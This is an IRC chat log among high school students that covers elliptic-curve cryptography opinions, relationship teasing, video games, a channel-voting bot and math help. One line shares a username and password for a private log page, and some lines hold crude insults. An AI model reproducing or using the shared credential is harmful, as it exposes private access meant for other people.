[2014-11-28T21:48:37-0500] <nezorg> but unfortunately gpg hasn't implemented curve25519 for encryption yet
[2014-11-28T21:48:59-0500] <nezorg> so I'll wait until they do that and then I'll generate some curve25519 keys
[2014-11-28T21:49:48-0500] <Tam> LOL
[2014-11-28T21:49:54-0500] <Tam> oh my god i forgot how obsessed you were :P
[2014-11-28T21:49:54-0500] <Tam> but okay
[2014-11-28T21:50:39-0500] <nezorg> seriously, it seems like people are pretty worried about rsa
[2014-11-28T21:51:55-0500] <Tam> well
[2014-11-28T21:51:58-0500] <Tam> what aspect specifically/
[2014-11-28T21:53:13-0500] <nezorg> nsa has been recommending ecc and discouraging rsa for about a decade now
[2014-11-28T21:53:21-0500] <nezorg> some people think they have an attack
[2014-11-28T21:53:44-0500] <nezorg> plus, key sizes are pretty big and the computation needed large compared to ecc
[2014-11-28T21:54:47-0500] <Tam> oh, true
[2014-11-28T21:57:37-0500] <@awe> nezorg: ecc as in elliptic curve ciphers? 
[2014-11-28T21:58:15-0500] <nezorg> awe: ECCryptography, but yeah
[2014-11-28T21:58:30-0500] <@awe> nezorg: It's possible that the NSA is pushing for ECC because of the role they had in creating it.
[2014-11-28T21:59:00-0500] <@awe> read: there may be a weakness in ECC.
[2014-11-28T21:59:26-0500] <nezorg> awe: well, they haven't been pushing for it, just recommending it internally / for the govt, and the public is more a witness than the target
[2014-11-28T21:59:52-0500] <@awe> The NSA likely worked with the NIST in determining the prime fields and the binary fields.
[2014-11-28T22:00:19-0500] <nezorg> which is why I would never use the nist curves!
[2014-11-28T22:00:23-0500] <@awe> There's no public reasons for why the specific curves were chosen.
[2014-11-28T22:00:42-0500] <nezorg> curve25519 every day, all day
[2014-11-28T22:00:43-0500] <@awe> They claim they're "more secure" without proof.
[2014-11-28T22:00:55-0500] <nezorg> well I don't buy that
[2014-11-28T22:01:09-0500] <nezorg> djb has pretty good evidence for his case
[2014-11-28T22:01:18-0500] <@awe> curve25519 is what iOS uses to encrypt shit.
[2014-11-28T22:01:18-0500] <@awe> neat.
[2014-11-28T22:01:39-0500] <@awe> nezorg: Of course not. The NIST curves are definitely borked.
[2014-11-28T22:02:24-0500] <nezorg> awe: curve25519 is used all over -- there are some really nice/easy implementations and it has really nice properties
[2014-11-28T22:03:37-0500] <nezorg> also, nist *does* state at least some reason for their choice of fields: they're related to mersenne primes, which apparently speed up computation somehow
[2014-11-28T22:03:44-0500] <nezorg> not that that makes me trust those curves
[2014-11-28T22:04:03-0500] <nezorg> I still totally stay away from them
[2014-11-28T22:06:55-0500] <@awe> I unfortunately can't completely.
[2014-11-28T22:07:06-0500] <@awe> UniversalSSL from CloudFlare uses ECDSA
[2014-11-28T22:08:02-0500] <nezorg> ah
[2014-11-28T22:08:16-0500] <nezorg> still, I think that's *probably* better than rsa
[2014-11-28T22:38:04-0500] <Tam> oh my god
[2014-11-28T22:38:08-0500] <Tam> im watching irc pda happen
[2014-11-28T22:38:10-0500] <Tam> how do i deal
[2014-11-28T22:38:11-0500] <Tam> LOL
[2014-11-28T22:46:39-0500] <+alokpathy> wat
[2014-11-28T22:49:09-0500] <Tam> basically
[2014-11-28T22:49:11-0500] <Tam> people are very in love
[2014-11-28T22:49:12-0500] <Tam> on irc
[2014-11-28T22:49:15-0500] <Tam> i cry
[2014-11-28T22:55:25-0500] <+alokpathy> awe and nezorg ?
[2014-11-28T22:55:33-0500] <@awe> Yes?
[2014-11-28T22:55:43-0500] <+alokpathy> No that was uh
[2014-11-28T22:55:46-0500] <+alokpathy> a response to Tam
[2014-11-28T22:56:49-0500] <Tam> no LOL
[2014-11-28T22:56:54-0500] <Tam> they're actually dating and uh
[2014-11-28T22:56:58-0500] <Tam> being incredibly in love
[2014-11-28T22:57:06-0500] <Tam> and my cold frozen heart can't deal with that apparently :P
[2014-11-28T22:57:08-0500] <+alokpathy> Is this on #tjhsst?
[2014-11-28T22:57:13-0500] <Tam> sorta
[2014-11-28T22:57:33-0500] <@awe> Tam: are you saying nezorg and I aren't dating?
[2014-11-28T22:57:39-0500] <Tam> wait, you guys are? D:
[2014-11-28T22:57:42-0500] <Tam> and awe you never told me?
[2014-11-28T22:57:50-0500] <+alokpathy> Tam: He's cheating on you.
[2014-11-28T22:57:53-0500] <Tam> you knew I had a crush on...both of you
[2014-11-28T22:58:08-0500] <+alokpathy> It's okay Tam. I did too.
[2014-11-28T22:58:34-0500] <Tam> now I guess its just you and me? ;)
[2014-11-28T22:58:49-0500] <Tam> but I can't do long distance so you have to move here and go to TJ thanks
[2014-11-28T22:58:57-0500] <+alokpathy> I already go to TJ gosh.
[2014-11-28T22:59:06-0500] <+alokpathy> I'm in your Latin class.
[2014-11-28T22:59:10-0500] <+alokpathy> We've established this several times.
[2014-11-28T23:00:15-0500] <Tam> but you don't live next door
[2014-11-28T23:00:29-0500] <Tam> We've also established this several times
[2014-11-28T23:00:46-0500] <+alokpathy> We could have.
[2014-11-28T23:00:50-0500] <+alokpathy> I kicked both of my neighbors out.
[2014-11-28T23:00:53-0500] <nezorg> apparently I'm in a relationship with awe without knowing about it
[2014-11-28T23:00:55-0500] <nezorg> yay?
[2014-11-28T23:01:00-0500] <@awe> nezorg: <3
[2014-11-28T23:01:10-0500] <+alokpathy> nezorg: That's the best kind of relationship.
[2014-11-28T23:01:28-0500] <Tam> actually
[2014-11-28T23:01:35-0500] <Tam> there's so many preexisting relationships in this channel
[2014-11-28T23:01:42-0500] <Tam> that both parties don't even know about
[2014-11-28T23:01:46-0500] <+alokpathy> ?
[2014-11-28T23:01:51-0500] <+alokpathy> e.g.?
[2014-11-28T23:01:53-0500] <Tam> i dont even remember all the hsctf relationship arcs
[2014-11-28T23:01:59-0500] <+alokpathy> Oh god.
[2014-11-28T23:02:01-0500] <Tam> I'm pretty sure awe was dating the entire channel for one
[2014-11-28T23:02:02-0500] <Tam> LOL
[2014-11-28T23:02:11-0500] <@awe> Almost certainly.
[2014-11-28T23:02:32-0500] <nezorg> sounds fun
[2014-11-28T23:03:24-0500] <@LittleBobbyTables> !resistance
[2014-11-28T23:03:30-0500] <@LittleBobbyTables> @resistance
[2014-11-28T23:03:33-0500] <@LittleBobbyTables> @list
[2014-11-28T23:03:35-0500] <@LittleBobbyTables> bots please
[2014-11-28T23:03:51-0500] <nezorg> @list_relationships
[2014-11-28T23:03:56-0500] <nezorg> aww
[2014-11-28T23:04:53-0500] <Tam> maybe we should list them
[2014-11-28T23:05:00-0500] <Tam> or @reset_relationships
[2014-11-28T23:05:01-0500] <Tam> start over
[2014-11-28T23:06:25-0500] <nezorg> I haven't witnessed much relationship drama recently due to the dying down of various channels
[2014-11-28T23:06:36-0500] <nezorg> so I'm all for it
[2014-11-28T23:06:47-0500] <+jwoglom> Tam: the worse thing is that they switched channels halfway through
[2014-11-28T23:07:10-0500] <+jwoglom> seems to have ended tho
[2014-11-28T23:07:14-0500] <Tam> jwoglom: now its just that more people have to witness it
[2014-11-28T23:07:53-0500] <Tam> speaking of relationships...alokpathy, question:
[2014-11-28T23:07:59-0500] <+alokpathy> ?
[2014-11-28T23:08:06-0500] <@LittleBobbyTables> !join
[2014-11-28T23:08:06-0500] <&Pidgey> You've already joined this game!
[2014-11-28T23:08:10-0500] <+alokpathy> !join
[2014-11-28T23:08:10-0500] <&Pidgey> You've already joined this game!
[2014-11-28T23:08:12-0500] <@LittleBobbyTables> awe
[2014-11-28T23:08:18-0500] <@LittleBobbyTables> restart pidgey or add resistance to awebot
[2014-11-28T23:08:19-0500] <@LittleBobbyTables> :(
[2014-11-28T23:08:22-0500] <@awe> Lol.
[2014-11-28T23:08:38-0500] <Tam> how long has Jacob been dating his girlfriend? o-o
[2014-11-28T23:08:46-0500] <+alokpathy> > 1 year
[2014-11-28T23:08:59-0500] <+alokpathy> They had their anniversary date a few weeks ago.
[2014-11-28T23:08:59-0500] <Tam> damn, I'm impressed
[2014-11-28T23:09:10-0500] <Tam> jacob is that good at holding a relationship together? LOL
[2014-11-28T23:09:22-0500] <+alokpathy> Evidently. 
[2014-11-28T23:09:22-0500] <+jwoglom> that's impressive
[2014-11-28T23:09:30-0500] <nezorg> dating seems like too much work in high school to be worth it
[2014-11-28T23:09:50-0500] <+jwoglom> it's like supposedly practice for the real world though
[2014-11-28T23:10:07-0500] <nezorg> supposedly
[2014-11-28T23:10:22-0500] <Tam> well my life philosophy is
[2014-11-28T23:10:28-0500] <Tam> you only get to be in high school and an idiot once
[2014-11-28T23:10:34-0500] <Tam> why not do it when its socially acceptable :P
[2014-11-28T23:10:41-0500] <+alokpathy> Tam: False.
[2014-11-28T23:10:44-0500] <+alokpathy> you can be an idiot twice.
[2014-11-28T23:10:46-0500] <+alokpathy> Once in high school
[2014-11-28T23:10:48-0500] <+alokpathy> once in college.
[2014-11-28T23:10:50-0500] <Tam> eh
[2014-11-28T23:10:50-0500] <nezorg> nope
[2014-11-28T23:10:57-0500] <@LittleBobbyTables> Hcnsh isn't here, so we can't drop the game...
[2014-11-28T23:11:00-0500] <Tam> but high school relationships are supposed to be naive and cute
[2014-11-28T23:11:01-0500] <nezorg> you can be an idiot as much as you want! :D
[2014-11-28T23:11:02-0500] <@LittleBobbyTables> please awe
[2014-11-28T23:11:07-0500] <+alokpathy> ^^
[2014-11-28T23:11:08-0500] <Tam> college gets actually legit
[2014-11-28T23:11:21-0500] <@LittleBobbyTables> Not reall
[2014-11-28T23:11:40-0500] <+jwoglom> Tam: if you want it to be, it seems
[2014-11-28T23:11:54-0500] <Tam> eh
[2014-11-28T23:12:03-0500] <Tam> idk man I still have this idea of high school relationships
[2014-11-28T23:12:07-0500] <Tam> that's never worked out for me yet
[2014-11-28T23:12:25-0500] <Tam> i have this tendency to like the wrong people for a cute relationship
[2014-11-28T23:12:37-0500] <nezorg> lol
[2014-11-28T23:12:51-0500] <Tam> i have legitimately had uh
[2014-11-28T23:12:56-0500] <Tam> both math and cs chosen over me
[2014-11-28T23:13:00-0500] <Tam> on two different cases
[2014-11-28T23:13:14-0500] <+jwoglom> Tam: :(
[2014-11-28T23:13:25-0500] <nezorg> well I'd choose math and cs over any girl, frankly :P
[2014-11-28T23:13:30-0500] <@awe> nezorg: Wow.
[2014-11-28T23:13:31-0500] <nezorg> especially in high school
[2014-11-28T23:13:43-0500] <Tam> basically i date guys like nezorg LOL
[2014-11-28T23:13:49-0500] <+jwoglom> nezorg: i feel like that'd piss off the girl though
[2014-11-28T23:13:57-0500] <Tam> I mean on occasion, I would actually choose cs and math over a guy 
[2014-11-28T23:14:07-0500] <nezorg> jwoglom: eh, maybe, but worth it in the long run
[2014-11-28T23:14:07-0500] <Tam> but there's a time and place for that
[2014-11-28T23:14:32-0500] <@awe> nezorg: It's not like you really need to make the choice though.
[2014-11-28T23:14:36-0500] <@LittleBobbyTables> I'd make the girl like math and CS.
[2014-11-28T23:14:50-0500] <@LittleBobbyTables> Then we can do things together while doing together
[2014-11-28T23:14:57-0500] <nezorg> awe: well Tam made it sound like you would
[2014-11-28T23:15:20-0500] <Tam> nezorg: only sometimes :P
[2014-11-28T23:15:31-0500] <@awe> I don't know what situations you get in where you need to make a choice between a human being and a field of study.
[2014-11-28T23:15:38-0500] <Tam> "screw you, I'm doing math"
[2014-11-28T23:15:40-0500] <Tam> awe:
[2014-11-28T23:15:48-0500] <Tam> in more gentle terms, but yes
[2014-11-28T23:16:01-0500] <@awe> That sounds like a personal problem.
[2014-11-28T23:16:14-0500] <@awe> That is, it's your fault for getting upset about it.
[2014-11-28T23:16:34-0500] <Tam> yeah, it is :P
[2014-11-28T23:16:44-0500] <@awe> Autonomy is a really important part of relationships.
[2014-11-28T23:16:55-0500] <Tam> awe, I've gotten this speech before
[2014-11-28T23:17:00-0500] <Tam> I thought we talked out both halves of this
[2014-11-28T23:17:13-0500] <Tam> and we established both parties were at fault so we were going to drop it
[2014-11-28T23:17:14-0500] <nezorg> autonomy is my problem in relationships :P
[2014-11-28T23:17:21-0500] <Tam> nezorg: how so? :P
[2014-11-28T23:17:30-0500] <nezorg> Tam: I have too much of it
[2014-11-28T23:17:36-0500] <Tam> nezorg: wanna give me some of yours 
[2014-11-28T23:17:41-0500] <Tam> we can average out to normal people <3
[2014-11-28T23:17:45-0500] <nezorg> sure
[2014-11-28T23:18:03-0500] <nezorg> I also demand 5 gold per turn and marble for 10 turns
[2014-11-28T23:18:10-0500] <@awe> nezorg: lol'd
[2014-11-28T23:18:28-0500] <Tam> lol
[2014-11-28T23:18:43-0500] <Tam> wait that sounded like a catan reference
[2014-11-28T23:18:46-0500] <Tam> but I don't think it was
[2014-11-28T23:18:52-0500] <nezorg> not quite
[2014-11-28T23:19:13-0500] <nezorg> think the video game version of catan
[2014-11-28T23:19:22-0500] <nezorg> sorta
[2014-11-28T23:19:28-0500] <Tam> oh damn
[2014-11-28T23:19:30-0500] <Tam> that's a thing?
[2014-11-28T23:19:35-0500] <nezorg> kinda
[2014-11-28T23:19:45-0500] <nezorg> thinking of civ v
[2014-11-28T23:20:02-0500] <Tam> oh
[2014-11-28T23:20:05-0500] <Tam> civ 5
[2014-11-28T23:20:12-0500] <Tam> i got that game thinking "once i get it I'll never quit"
[2014-11-28T23:20:26-0500] <+jwoglom> it seems like a fun game, i just never got into it
[2014-11-28T23:21:01-0500] <nezorg> jwoglom: it's more fun when you have friends that play
[2014-11-28T23:21:17-0500] <@awe> nezorg: I've spent days locked up playing it by myself lol.
[2014-11-28T23:21:18-0500] <+jwoglom> yeah i'd imagine
[2014-11-28T23:21:31-0500] <@awe> I only played it online once actually.
[2014-11-28T23:21:46-0500] <nezorg> awe: didn't say solo's not fun too :∆
[2014-11-28T23:21:50-0500] <nezorg> *:P
[2014-11-28T23:22:14-0500] <@LittleBobbyTables> Guys, good thing I don't plan on playing Company of Hero's 2 on 4k res on ultra settings.
[2014-11-28T23:22:40-0500] <@LittleBobbyTables> 30 FPS on a stock 970.
[2014-11-28T23:22:43-0500] <@LittleBobbyTables> Damn, too low.
[2014-11-28T23:23:03-0500] <+jwoglom> you have a 4k monitor?
[2014-11-28T23:23:15-0500] <@LittleBobbyTables> No
[2014-11-28T23:23:32-0500] <+jwoglom> aw
[2014-11-28T23:23:34-0500] <@LittleBobbyTables> I only have a 1080
[2014-11-28T23:23:38-0500] <@LittleBobbyTables> Cause I'm poor
[2014-11-28T23:23:47-0500] <@LittleBobbyTables> Even though I just spent like 800 bucks on a computer lol
[2014-11-28T23:24:03-0500] <Tam> jwoglom: i think nezorg is getting one
[2014-11-28T23:29:54-0500] <nezorg> http://www.reddit.com/r/rust/comments/2nq335/irc_a_threadsafe_iteratorbased_irc_library_in_rust/ if you have any downvote bots, now is the time to use them!
[2014-11-28T23:29:56-0500] <nezorg> :P
[2014-11-28T23:30:34-0500] <Tam> odang
[2014-11-28T23:30:38-0500] <Tam> awe's reddit
[2014-11-28T23:30:40-0500] <Tam> time to stalk
[2014-11-28T23:30:51-0500] <@awe> nezorg: wow, thank.
[2014-11-28T23:31:07-0500] <nezorg> awe: don't worry, I upvoted
[2014-11-28T23:31:21-0500] <@awe> Yay.
[2014-11-28T23:31:21-0500] <+jwoglom> reddiquite!
[2014-11-28T23:31:46-0500] <Tam> gosh, nezorg, way to go
[2014-11-28T23:31:50-0500] <Tam> now I'm reading reddit instead of doing homework
[2014-11-28T23:32:03-0500] <nezorg> you're welcome!
[2014-11-28T23:32:16-0500] <@LittleBobbyTables> awe, I wanna play resistance :(
[2014-11-28T23:33:02-0500] <Tam> awe can you restart the bot
[2014-11-28T23:33:06-0500] <Tam> we have 5 people, don't we?
[2014-11-28T23:33:14-0500] <@awe> I don't want to restart Pidgey. :(
[2014-11-28T23:33:18-0500] <Tam> 6 if alokpathy is awake
[2014-11-28T23:33:18-0500] <@LittleBobbyTables> Yes you do
[2014-11-28T23:33:23-0500] <Tam> aaaaaawe :(
[2014-11-28T23:33:29-0500] <Tam> or you should give yourself master !drop powers
[2014-11-28T23:33:45-0500] <@awe> I should.
[2014-11-28T23:36:22-0500] <+alokpathy> Tam: I am awake.
[2014-11-28T23:36:35-0500] <Tam> don't you wanna play resistance
[2014-11-28T23:36:40-0500] <+alokpathy> Yes
[2014-11-28T23:36:45-0500] <+alokpathy> I generally say when I'm going to sleep lol
[2014-11-28T23:36:49-0500] <Tam> dont you think awe should restart it for us
[2014-11-28T23:36:50-0500] <Tam> and lol
[2014-11-28T23:36:52-0500] <Tam> you usually drop when you do
[2014-11-28T23:37:05-0500] <+alokpathy> He should yeah.
[2014-11-28T23:38:14-0500] <+sdamashek> I see you guys got on the HS relationships topic again :P
[2014-11-28T23:39:05-0500] <+jwoglom> sdamashek: claudia started it :P
[2014-11-28T23:39:13-0500] <Tam> LOL
[2014-11-28T23:39:24-0500] <Tam> jwoglom told me "get onto the other channel!"
[2014-11-28T23:39:28-0500] <Tam> so i assumed something important was going on
[2014-11-28T23:39:36-0500] <Tam> nope, just claudia happily in a relationship :P
[2014-11-28T23:39:57-0500] <+sdamashek> wait what
[2014-11-28T23:40:14-0500] <+jwoglom> it was a bit obsessive
[2014-11-28T23:41:14-0500] <Tam> it was sorta cute but also sorta depressing yeah
[2014-11-28T23:41:20-0500] <+sdamashek> oh, not in here? or what
[2014-11-28T23:41:24-0500] <Tam> in expats
[2014-11-28T23:41:39-0500] <+jwoglom> sdamashek: and #tjhsst
[2014-11-28T23:41:53-0500] <+sdamashek> ic
[2014-11-28T23:42:19-0500] <Tam> you were there for most of that, weren't you?
[2014-11-28T23:42:36-0500] <nezorg> too many tj folks in here
[2014-11-28T23:42:45-0500] <+sdamashek> oh
[2014-11-28T23:42:47-0500] <+sdamashek> yeah
[2014-11-28T23:42:49-0500] <Tam> nezorg: become one of us <3
[2014-11-28T23:42:58-0500] <nezorg> lol
[2014-11-28T23:43:01-0500] <Tam> you're just a junior it won't be too big of a problem
[2014-11-28T23:43:09-0500] <nezorg> I like CA
[2014-11-28T23:43:14-0500] <Tam> and seeing you will no longer involve winning cs competitions
[2014-11-28T23:43:18-0500] <Tam> lol VA is nice too
[2014-11-28T23:43:48-0500] <+sdamashek> right
[2014-11-28T23:44:35-0500] <Tam> sdamashek: help me pitch tj :P
[2014-11-28T23:44:41-0500] <Tam> all i do is nerdstuff I'm bad at pitching fun things
[2014-11-28T23:44:48-0500] <@LittleBobbyTables> Are we restarting the bot yet
[2014-11-28T23:45:07-0500] <Tam> ...wait
[2014-11-28T23:45:08-0500] <Tam> we could
[2014-11-28T23:45:11-0500] <Tam> .propose kick 
[2014-11-28T23:45:11-0500] <&Pidgey> You must be identified to do that.
[2014-11-28T23:45:18-0500] <@LittleBobbyTables> Can't kick pidgey.
[2014-11-28T23:45:22-0500] <+alokpathy> sad
[2014-11-28T23:45:25-0500] <Tam> oh, pidgey wont kick himself?
[2014-11-28T23:45:32-0500] <@LittleBobbyTables> Nope
[2014-11-28T23:45:35-0500] <@LittleBobbyTables> He won't do anything to himself.
[2014-11-28T23:46:06-0500] <Tam> ...so we're under the dictatorship of a bot?
[2014-11-28T23:46:20-0500] <+sdamashek> https://mathematica.stackexchange.com/questions/66538/how-do-i-draw-a-pair-of-buttocks
[2014-11-28T23:46:37-0500] <nezorg> https://github.com/aaronweiss74/irc-services/commit/d326acd97afe934967e870fefb53a232d7effd16
[2014-11-28T23:46:38-0500] <+jwoglom> sdamashek: you seem to be a bit obsessed
[2014-11-28T23:46:43-0500] <+jwoglom> with these buttocks
[2014-11-28T23:46:47-0500] <Tam> ^^^^
[2014-11-28T23:46:53-0500] <Tam> the second one is very nice though
[2014-11-28T23:46:55-0500] <@LittleBobbyTables> He's an ass man
[2014-11-28T23:47:06-0500] <+sdamashek> it's very impressive
[2014-11-28T23:47:06-0500] <@LittleBobbyTables> Can't blame him either
[2014-11-28T23:48:10-0500] <+sdamashek> it's all about that bass
[2014-11-28T23:48:44-0500] <nezorg> that second answer
[2014-11-28T23:48:50-0500] <nezorg> so much cringing
[2014-11-28T23:49:52-0500] <Tam> ^
[2014-11-28T23:50:08-0500] <Tam> so good thooo
[2014-11-28T23:50:11-0500] <@awe> Tam: kicking Pidgey wouldn't cause him to restart.
[2014-11-28T23:50:16-0500] <@awe> Tam: it'd just kick him out of the channel.
[2014-11-28T23:50:22-0500] <+sdamashek> it's so great
[2014-11-28T23:50:23-0500] <Tam> but that would give you
[2014-11-28T23:50:28-0500] <Tam> incentive to restart him
[2014-11-28T23:50:32-0500] <Tam> :>
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[2014-11-29T01:07:10-0500] <+alokpathy> Imma sleep
[2014-11-29T01:07:11-0500] <+alokpathy> g'night
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[2014-11-29T09:36:54-0500] <+jwoglom> Tamini_: #tjhsst last night, wat even
[2014-11-29T09:37:15-0500] <Tamini_> you read scrollback?
[2014-11-29T09:37:18-0500] <Tamini_> :P
[2014-11-29T09:38:13-0500] <Tamini_> basically sam and ahamilto and i got to be awkward
[2014-11-29T09:45:12-0500] <+Hcnsh> does anyone know how to use sqlmap for pico problems?
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[2014-11-29T09:53:10-0500] <+jwoglom> Tamini_: well i was referring to the michael/claudia lovefest from 1-5am
[2014-11-29T09:53:12-0500] <+jwoglom> lol
[2014-11-29T09:53:31-0500] <Tamini_> LOL oh god
[2014-11-29T09:53:49-0500] <Tamini_> give me logs of that i need something to entertain me on the ride to mkramer's
[2014-11-29T09:54:05-0500] <Tamini_> (also DO THEY NOT REALIZE PM IS A THING)
[2014-11-29T09:54:07-0500] <+jwoglom> pefoley.com/irc/tjhsst.log
[2014-11-29T09:54:24-0500] <+Hcnsh> gib pass plis
[2014-11-29T09:54:32-0500] <+jwoglom> admin/tankers
[2014-11-29T09:57:37-0500] <+Hcnsh> tamini
[2014-11-29T09:57:51-0500] <+Hcnsh> how2find sum of cubes of roots of quadratic without finding roots?
[2014-11-29T09:58:31-0500] <Tamini_> hm?
[2014-11-29T09:58:35-0500] <Tamini_> newton suuuums
[2014-11-29T09:58:40-0500] <+Hcnsh> wat?
[2014-11-29T09:58:52-0500] <Tamini_> newton's sums
[2014-11-29T09:58:57-0500] <Tamini_> for sums of powers of roots
[2014-11-29T09:58:59-0500] <Tamini_> google it
[2014-11-29T10:03:21-0500] <alokpathy> Or Vieta's because Vieta's is cooler.
[2014-11-29T10:03:26-0500] <alokpathy> It has a V in the name.
[2014-11-29T10:03:53-0500] <alokpathy> Lol I remember that exact same problem on some earlier AMC.
[2014-11-29T10:04:39-0500] <+Hcnsh> how do they enforce the "without finding roots" part?
[2014-11-29T10:04:48-0500] <Tamini_> they dont
[2014-11-29T10:04:50-0500] <alokpathy> They don't.
[2014-11-29T10:04:55-0500] <Tamini_> but its much harder to do it with
[2014-11-29T10:04:55-0500] <+Hcnsh> do you have to show your work?
[2014-11-29T10:04:57-0500] <alokpathy> It'll be more painful to find the roots though.
[2014-11-29T10:05:02-0500] <Tamini_> if you get a cubic or something
[2014-11-29T10:05:06-0500] <alokpathy> On AMC, no.
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[2014-11-29T10:21:46-0500] <alokpathy> JacobEdelman: hi
[2014-11-29T10:24:53-0500] <JacobEdelman> hello
[2014-11-29T10:25:02-0500] <JacobEdelman> anybody have VPN recommendations?
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[2014-11-29T10:40:11-0500] Pidgey sets mode +v The_Master
[2014-11-29T10:40:19-0500] <+The_Master> .active
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-11-29T10:40:19-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-29T10:40:45-0500] <+The_Master> .vote 0 yea
[2014-11-29T10:40:45-0500] <&Pidgey> Vote issued.
[2014-11-29T10:41:09-0500] <+The_Master> .active
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 6, N 2).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-11-29T10:41:09-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
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[2014-11-29T11:20:51-0500] <+Hcnsh> .poophead
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[2014-11-29T11:21:00-0500] <JacobEdelman> ...
[2014-11-29T11:21:19-0500] <JacobEdelman> .vote yea 0
[2014-11-29T11:21:19-0500] <&Pidgey> You must be identified to do that.
[2014-11-29T11:21:35-0500] <JacobEdelman> .vote yea 0
[2014-11-29T11:21:35-0500] <&Pidgey> 0 is not a valid vote.
[2014-11-29T11:21:40-0500] <JacobEdelman> .vote 0 yea
[2014-11-29T11:21:40-0500] <&Pidgey> Vote issued.
[2014-11-29T11:21:44-0500] <JacobEdelman> .active
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 7, N 2).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (8) to change the topic to LittleBobbyTables best BobbyTables (Y: 0, N 1).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (6) to oper Hcnsh (Y: 1, N 1).
[2014-11-29T11:21:44-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
[2014-11-29T11:22:01-0500] <JacobEdelman> .... have you guys all voted for proposal 0 yet?
[2014-11-29T11:22:14-0500] <JacobEdelman> :p
[2014-11-29T11:22:18-0500] <JacobEdelman> *:P
[2014-11-29T11:22:42-0500] <+Hcnsh> uh
[2014-11-29T11:22:45-0500] <+Hcnsh> think so
[2014-11-29T11:23:38-0500] <+Hcnsh> urgh
[2014-11-29T11:23:44-0500] <+Hcnsh> imma have to re-install the whole thing
[2014-11-29T11:25:01-0500] <JacobEdelman> ?
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[2014-11-29T11:47:47-0500] <+Hcnsh> goodbot, tell awe hi awe
[2014-11-29T11:47:47-0500] <goodbot> Hcnsh: I'll pass that on when awe is around.
[2014-11-29T11:47:51-0500] <+Hcnsh> WOOT. works
[2014-11-29T11:47:52-0500] <+Hcnsh> i hope
[2014-11-29T11:47:55-0500] <+Hcnsh> or think, at least
[2014-11-29T11:47:59-0500] <+Hcnsh> anyone here?
[2014-11-29T11:48:09-0500] <+Hcnsh> jacobedelman
[2014-11-29T11:48:15-0500] <JacobEdelman> yes
[2014-11-29T11:48:17-0500] <JacobEdelman> I'm here
[2014-11-29T11:48:18-0500] <JacobEdelman> sorry
[2014-11-29T11:48:23-0500] <+Hcnsh> goodbot, tell jacobedelman .vote 6 yea
[2014-11-29T11:48:23-0500] <goodbot> Hcnsh: I'll pass that on when jacobedelman is around.
[2014-11-29T11:48:28-0500] <JacobEdelman> ....
[2014-11-29T11:48:28-0500] <goodbot> JacobEdelman: 2014-11-29 - 16:48:20 <Hcnsh> tell JacobEdelman .vote 6 yea
[2014-11-29T11:48:33-0500] <JacobEdelman> nice
[2014-11-29T11:48:34-0500] <JacobEdelman> wow
[2014-11-29T11:48:39-0500] <JacobEdelman> it needs to be able to take notes
[2014-11-29T11:48:40-0500] <JacobEdelman> aka
[2014-11-29T11:48:45-0500] <JacobEdelman> I should be able to say
[2014-11-29T11:48:49-0500] <JacobEdelman> note to self, I'm amazing
[2014-11-29T11:48:52-0500] <JacobEdelman> and then later
[2014-11-29T11:48:54-0500] <JacobEdelman> I can say
[2014-11-29T11:49:00-0500] <JacobEdelman> goodbot, what notes do I have?
[2014-11-29T11:49:08-0500] <JacobEdelman> and it would say all my notes
[2014-11-29T11:49:10-0500] <JacobEdelman> (with time and such)
[2014-11-29T11:49:15-0500] <+Hcnsh> hmm
[2014-11-29T11:49:47-0500] <+The_Master> Hcnsh: do you know why proposal 0 is not passed?
[2014-11-29T11:49:57-0500] <+The_Master> Proposal (0) to deop LittleBobbyTables (Y: 7, N 2).
[2014-11-29T11:50:20-0500] <+Hcnsh> awe changed it to 60%
[2014-11-29T11:50:33-0500] <+Hcnsh> how many voiced people are there?
[2014-11-29T11:50:37-0500] <+The_Master> Hcnsh: 9 people have voted on it,
[2014-11-29T11:50:51-0500] <+The_Master> Hcnsh: voiced:6 ops:2
[2014-11-29T11:50:57-0500] <+Hcnsh> in total
[2014-11-29T11:51:00-0500] <+Hcnsh> not currently on
[2014-11-29T11:51:22-0500] <+The_Master> Hcnsh: oh, thats why.
[2014-11-29T11:53:40-0500] <+Hcnsh> goodbot, tell awe go suck a dick
[2014-11-29T11:53:40-0500] <goodbot> Hcnsh: I'll pass that on when awe is around.
[2014-11-29T11:54:49-0500] <+The_Master> goodbot, tell goodbot hi
[2014-11-29T11:54:49-0500] <goodbot> The_Master: I'm here now, you can tell me whatever you want!
[2014-11-29T11:54:53-0500] <+The_Master> goodbot, tell goodbot hi
[2014-11-29T11:54:53-0500] <goodbot> The_Master: I'm here now, you can tell me whatever you want!
